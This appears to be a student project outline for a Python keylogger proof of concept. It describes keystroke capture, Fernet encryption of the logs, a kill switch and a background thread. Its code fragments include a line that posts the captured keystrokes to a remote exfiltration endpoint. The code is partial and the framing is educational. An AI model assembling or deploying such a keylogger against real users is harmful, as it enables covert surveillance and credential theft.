Project – 1

Keylogger via python

First need to write code and then demonstrations

Introduction

What is a Keylogger?

- A software application that records keystrokes made by a user.
- Often used for monitoring user activity, but can be misused for malicious purposes.

Purpose of the Project:

- To demonstrate the functionality of a keylogger.
- To understand the implications of keylogging technology.
- To explore encryption and data exfiltration techniques.

Key Features of the Keylogger:

- **Keystroke Recording:** Captures all keystrokes in real-time.
- **Data Encryption:** Uses symmetric encryption (Fernet) to secure logged data.
- **Periodic Exfiltration:** Sends logged data to a remote server at regular intervals.
- **Kill Switch:** Allows the user to stop the keylogger using a specific key combination (Ctrl + Shift + K).

Components:

- **Keylogger Class:** Main functionality for capturing and processing keystrokes.
- **Encryption Module:** Handles encryption and decryption of logged data.
- **Exfiltration Module:** Manages sending data to a remote server.
- **Logging System:** Records events and errors for debugging.

Initialization:

- Loads or generates an encryption key.
- Starts a thread for periodic data exfiltration.

```
self.key = self.load_or_create_key()
self.exfiltration_thread = threading.Thread(target=self.exfiltrate_periodically, daemon=True)
self.exfiltration_thread.start()
```

Key Press Handling:

- Records pressed keys and timestamps.
- Checks for kill switch activation.

```
def on_press(self, key):
    ...
    if self.killswitch_triggered():
        ...
    self.log_buffer.append(log_entry)
```

Encrypting and Decrypting Logs:

- Uses Fernet symmetric encryption for securing logs.

```
def encrypt(self, plaintext: str) -> str:
    token = self.cipher.encrypt(plaintext.encode('utf-8'))
```

Data Exfiltration:

- Sends logs to a specified endpoint.
- Handles errors and retries.

```
def exfiltrate(self):
    ...
    response = requests.post(EXFILTRATION_ENDPOINT, json=payload, timeout=5)
```

Ethical Implications:

- Keyloggers can be used for malicious purposes.
- Importance of consent and legal compliance.

Security Measures:

- Data encryption to protect user privacy.
- Implementation of a kill switch for user control.

Summary:

- Demonstrated a functional keylogger PoC.
- Highlighted the importance of ethical considerations in software development.